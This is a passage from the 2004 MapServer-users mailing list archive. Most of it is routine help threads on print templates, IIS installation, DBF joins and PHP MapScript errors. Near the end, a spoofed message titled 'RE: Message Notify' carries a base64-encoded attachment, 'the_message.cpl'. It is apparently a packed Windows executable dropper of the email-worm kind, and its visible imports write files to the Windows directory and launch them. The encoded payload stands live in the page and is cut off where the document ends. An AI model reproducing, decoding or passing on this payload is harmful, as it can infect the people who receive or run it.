maxy: [maxy]
but only minx, miny, maxx, maxy are pass correctly to the print.html page ... the [img], [legend] and [scalebar] paths passed between the URL and the print.html page are absolute paths (i.e, map image is passed as /Library/Apache2/htdocs/tmp/BELIZE_0987765554.png (which Apache won't display) when I want it to just show /tmp/BELIZE_0987765554.png (which Apache would display). I also tried passing [map_web_imageurl] but that produced the same result. Any advice would be greatly appreciated, Cheers, Jerod Clabaugh From jacob.delfos at maunsell.com Thu May 20 20:27:10 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Fri, 21 May 2004 13:27:10 +1000 Subject: [Mapserver-users] Printing Template w/ MapServer Message-ID: If you are using a popup window, use "window.opener". One tricky thing is that usually your opener (main window) must have its name defined, which is easy (window.name=...). I created a pretty similar tool as what you are looking for. I have converted it for use with Chameleon, but the principles are the same. Your mapserver image in the main window must have its name defined. Then from your popup you do something like: popupimage.src opener.mapserverimage.src Or Document.writeln("" To get your legend across, put your legend in a table, and apply the innerhtml function to the cell of the table that holds your legend. Regards, Jacob -----Original Message----- From: Jerod Clabaugh [mailto:jclabaugh at mac.com] Sent: Friday, 21 May 2004 12:16 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Printing Template w/ MapServer Hi: I am trying to develop a template to allow the user to print the current view of a map, with the legend, all selected layers, scalebar etc. I tried to mimic the print function from the MN DNR Recreational Compass site (http://www.dnr.state.mn.us/maps/compass.html) by picking through the source code (http://maps.dnr.state.mn.us/compass/view_print.html). Does anyone know an easy way to pass the existing map, legend and scalebar from a mapserver page to another page without using a scripting language such as PHP. I am passing this URL string: Print Map View to the print.html page with the following code in it:




Map Parameters (UTM Zone 16, NAD27)
minx: [minx]
maxx: [maxx]
miny: [miny]
maxy: [maxy]
but only minx, miny, maxx, maxy are pass correctly to the print.html page ... the [img], [legend] and [scalebar] paths passed between the URL and the print.html page are absolute paths (i.e, map image is passed as /Library/Apache2/htdocs/tmp/BELIZE_0987765554.png (which Apache won't display) when I want it to just show /tmp/BELIZE_0987765554.png (which Apache would display). I also tried passing [map_web_imageurl] but that produced the same result. Any advice would be greatly appreciated, Cheers, Jerod Clabaugh _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jacob.delfos at maunsell.com Thu May 20 20:34:02 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Fri, 21 May 2004 13:34:02 +1000 Subject: [Mapserver-users] Printing Template w/ MapServer Message-ID: By the way, check http://spatial.hgm.com.au/cwcroe7/cwc2.php to see it in action. Let me know if you have any questions. -----Original Message----- From: Jerod Clabaugh [mailto:jclabaugh at mac.com] Sent: Friday, 21 May 2004 12:16 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Printing Template w/ MapServer Hi: I am trying to develop a template to allow the user to print the current view of a map, with the legend, all selected layers, scalebar etc. I tried to mimic the print function from the MN DNR Recreational Compass site (http://www.dnr.state.mn.us/maps/compass.html) by picking through the source code (http://maps.dnr.state.mn.us/compass/view_print.html). Does anyone know an easy way to pass the existing map, legend and scalebar from a mapserver page to another page without using a scripting language such as PHP. I am passing this URL string: Print Map View to the print.html page with the following code in it:




Map Parameters (UTM Zone 16, NAD27)
minx: [minx]
maxx: [maxx]
miny: [miny]
maxy: [maxy]
but only minx, miny, maxx, maxy are pass correctly to the print.html page ... the [img], [legend] and [scalebar] paths passed between the URL and the print.html page are absolute paths (i.e, map image is passed as /Library/Apache2/htdocs/tmp/BELIZE_0987765554.png (which Apache won't display) when I want it to just show /tmp/BELIZE_0987765554.png (which Apache would display). I also tried passing [map_web_imageurl] but that produced the same result. Any advice would be greatly appreciated, Cheers, Jerod Clabaugh _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From v0463 at n-koei.co.jp Thu May 20 20:39:33 2004 From: v0463 at n-koei.co.jp (No dream more) Date: Fri, 21 May 2004 10:39:33 +0700 Subject: [Mapserver-users] Install help on Win 2000 Server with IIS References: Message-ID: <001601c43ee5$3c130990$dca110ac@lamle> Correct path to image directory as below: - Create tmp directory under C:\Inetpub\wwwroot\workshop\ OR - Create tmp directory C:\Inetpub\wwwroot\ Lam. ----- Original Message ----- From: "ross s" To: Sent: Friday, May 21, 2004 10:05 AM Subject: [Mapserver-users] Install help on Win 2000 Server with IIS > Hi, > > I feel like a bozo for having to ask this but I am totally lost with setting up MapServer for IIS - the instructions are not all in one place. I am running Windows 2000 Server with IIS. I followed the install instructions to a "T" but the MapServer demo does not work. This is what I have done > > 1. Copied mapserv.exe to "C:\Inetpub\Scripts" > 2. Copied directory "Proj" to "C:\" > 3. Copied the files in directory "lib" to C:\WINNT > 4. Test MapServer with http://localhost/scripts/mapserv.exe? and I receive the message No query information to decode. QUERY_STRING not set. which is good > 5. Downloaded A copy of the MapServer Demo and unzipped it into C:\Inetpub\wwwroot\workshop > 6. Modified the index.html parameters to show my configuration or what I believe is my configuration > > > > > > > 7. Ran the index page and called one of the demos and the map image does not appear in the resulting page just the little x indicating that it could not find the image > > Anyone have any ideas on what configuration or installation steps I missed or how I can resolve my prolems. > > Or more importantly does anyone have an all encompassing install and setup instructions for IIS? > > Thanks in advance and hope some out there can help. > > Ross > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From EZS at DeStraat.NL Fri May 21 00:16:05 2004 From: EZS at DeStraat.NL (Emil Zegers) Date: Fri, 21 May 2004 09:16:05 +0200 Subject: [Mapserver-users] possible to classify map layer on joined dbf? Message-ID: Hello list, In my map file I have several shapefile map layers with joins to dbf files. What I'm trying to do is classify and display such a map layer based on attributes from the joined dbf. But when I try I get an error message: msDrawMap(): Image handling error. Failed to draw layer named 'aanleiding'..
msDBFGetItemIndex(): DBASE file error. Item 'AANLEIDING' not found.
The item 'AANLEIDING' is a field in the external dbf. Querying the map does show the joined attributes so I suppose on a map layer with a join you can query the joined attributes but you cannot use them to classify and display the layer. Is this correct? If not, what am I missing and if so, wouldn't this be a nice enhancement? Part of the map file and template can be found at the end of this message. Emil ***** Map file: LAYER NAME "aanleiding" METADATA wms_title "aanleiding" END STATUS ON TYPE POLYGON DATA bis_rapv TOLERANCE 8 LABELITEM rap_code CLASS NAME "BIS Aanleiding" COLOR 0 255 0 OUTLINECOLOR 255 0 0 TEMPLATE "C:\websites\dbf_join\bis_aanleiding.htm" END JOIN TABLE "AANLEIDI.DBF" TO "RAP_CODE" NAME "bis_aanleiding_join" FROM "rap_code" END END Template file:

rapportcode: [rap_code]

rapportcode: [bis_aanleiding_join_RAP_CODE]
aanleiding: [bis_aanleiding_join_AANLEIDING]

XCOORD: [XCOORD]
YCOORD: [YCOORD]

______________________________________________________ This message has been checked for all known viruses ______________________________________________________ From m.meier at spiekermann.de Fri May 21 00:31:14 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Fri, 21 May 2004 09:31:14 +0200 Subject: [Mapserver-users] perl/mapscript: gd pointer to imageObj ? Message-ID: <40ADB042.5020406@spiekermann.de> Hello list, i would like to modify an image created in mapscript, for example to add a logo or a chart diagram. For this i could use GD (having some knowledge how to do). So, can I get an GD-Pointer from the imageObj? Like for example: $img = $map->prepareImage(); $layer->draw ($map, $img); ... $map->drawLabelCache($img), ... $gdptr = $img->gd; # ??? like that ... Thanks Manfred From John.Spotten at capetown.gov.za Fri May 21 00:00:18 2004 From: John.Spotten at capetown.gov.za (John Spotten) Date: Fri, 21 May 2004 09:00:18 +0200 Subject: [Mapserver-users] php_mapscript_40.dll path problem on iis5/win2000 Message-ID: hi, Unable to load dynamic library 'c:\php4\extensions\php_mapscript_40.dll' - The specified procedure could not be found. I get this error when I load phpinfo_mapscript.phtml from url at another directory location. php.ini has extension_dir= "c:\php4\extensions" followed by extension=php_mapscript_40.dll and php_mapscript_40.dll is in this directory along with all it's dependency dlls. the error does not occur when I load phpinfo_mapscript.phtml from url http://jspotten/php4/extensions. no restriction on directory or file permissions either. any clues From janeks.kamerovskis at silva.lv Fri May 21 02:04:13 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Fri, 21 May 2004 12:04:13 +0300 Subject: [Mapserver-users] search by attributes In-Reply-To: <20040521082002.6648.48782.Mailman@lists.gis.umn.edu> Message-ID: Hi, MapServer users! I am beginner in Mapserver. I successfully created my first mapserver app. with my own data. One of things that I am interested to implement in next version of my map is possibility to make some kind of feature search by attributes and select or/and zoom to found features. Is it possible in MapServer and if is, than could somebody post some info about how to do it or drop a link to an example! Looking forward for your replay, Janeks Kamerovskis forestry consultant Lat-Fin Joint venture SILVA Ltd tel.+371-7804352 fax.+371-7804340 mob.+371-9191109 From janeks.kamerovskis at silva.lv Fri May 21 02:17:37 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Fri, 21 May 2004 12:17:37 +0300 Subject: [Mapserver-users] php_mapscript_40.dll path problem on iis5/win2000 In-Reply-To: Message-ID: I had similar problem. When I restarted my Win2000 box it worked then. I am dummy user so don 't ask why it was so ;-) brgds Janeks > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of John Spotten > Sent: Friday, May 21, 2004 10:00 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] php_mapscript_40.dll path problem on > iis5/win2000 > > > hi, > > Unable to load dynamic library > 'c:\php4\extensions\php_mapscript_40.dll' - The specified procedure > could not be found. > > I get this error when I load phpinfo_mapscript.phtml from url at > another directory location. php.ini has extension_dir= > "c:\php4\extensions" followed by extension=php_mapscript_40.dll and > php_mapscript_40.dll is in this directory along with all it's dependency > dlls. > > the error does not occur when I load phpinfo_mapscript.phtml from url > http://jspotten/php4/extensions. > > no restriction on directory or file permissions either. > > any clues > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Fri May 21 04:42:07 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Fri, 21 May 2004 11:42:07 +0000 Subject: [Mapserver-users] RE: Message Notify Message-ID: ----------vxilxfkgdlskmcgmntxw Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------vxilxfkgdlskmcgmntxw Content-Type: application/octet-stream; name="the_message.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="the_message.cpl" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAQAAAAFBFAABMAQMA7cGQQAAAAAAAAAAA4AAOIQsBBQwABgAAAAIAAAAAAAAQEQAA ABAAAAAgAAAAAAAQABAAAAACAAAEAAAAAAAAAAQAAAAAAAAA4n4AAAACAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAFBAAADwAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAIAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADgBQAA ABAAAAACAAAAAgAAAAAAAAAAAAAAAAAAIAAA4C5yZWxvYwAAKAAAAAAgAAAAAgAAAAQAAAAA AAAAAAAAAAAAAEAAAEIAAAAAAAAAAOJOAAAAMAAA4k4AAAAGAAAAAAAAAAAAAAAAAAAgAADg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcY3Bsc3R1Yi5leGUAb3BlbgAAAFAQAAAAAAAA AAAAANwQAABwEAAAaBAAAAAAAAAAAAAA+hAAAIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQ AACeEAAArBAAAMQQAADQEAAAAAAAAOoQAAAAAAAAkBAAAJ4QAACsEAAAxBAAANAQAAAAAAAA 6hAAAAAAAAAZAENsb3NlSGFuZGxlADIAQ3JlYXRlRmlsZUEAZAFHZXRXaW5kb3dzRGlyZWN0 b3J5QQAAuQJXcml0ZUZpbGUA0wJsc3RyY2F0QQAAS0VSTkVMMzIuZGxsAABuAFNoZWxsRXhl Y3V0ZUEAU0hFTEwzMi5kbGwAAAAAAAAAAAAAAFWL7IN9DAF1RpBoAAQAAGjgEQAQ6JsAAABo ABAAEGjgEQAQ6JgAAACQaOARABDoJQAAAAvAdBiQagBqAGoAaOARABBoDRAAEGoA6HcAAAC4 AQAAAMnCDABVi+yDxPhTVjPbkGoAagBqAmoAagNoAAAAwP91COg0AAAAiUX8QHQgvgAwABCt kmoAjUX4UFJW/3X86CMAAAD/dfzoCQAAAEOLw15bycIEAP8lcBAAEP8ldBAAEP8leBAAEP8l fBAAEP8lgBAAEP8liBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ AAAgAAAAIDEqMS8xOjFPMVQxujHAMcYxzDHSMdgxABAAAAwAAACRMQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3k4AAE1aAAABAAAAAgAAAP//AABAAAAAAAAAAEAA AAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAACpJt0T7UezQO1Hs0DtR7NA 7UezQO5Hs0BjWKBAbUezQBFnoUDsR7NAKkG1QOxHs0BSaWNo7UezQAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAFBFAABMAQMAzA+QQAAAAAAAAAAA4AAPAQsBBQwAUAAAABAAAACQAADw4gAA AKAAAADwAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAAABAAAQAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAApPMAAEwCAAAA8AAApAMAAAAAAAAAAAAA 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 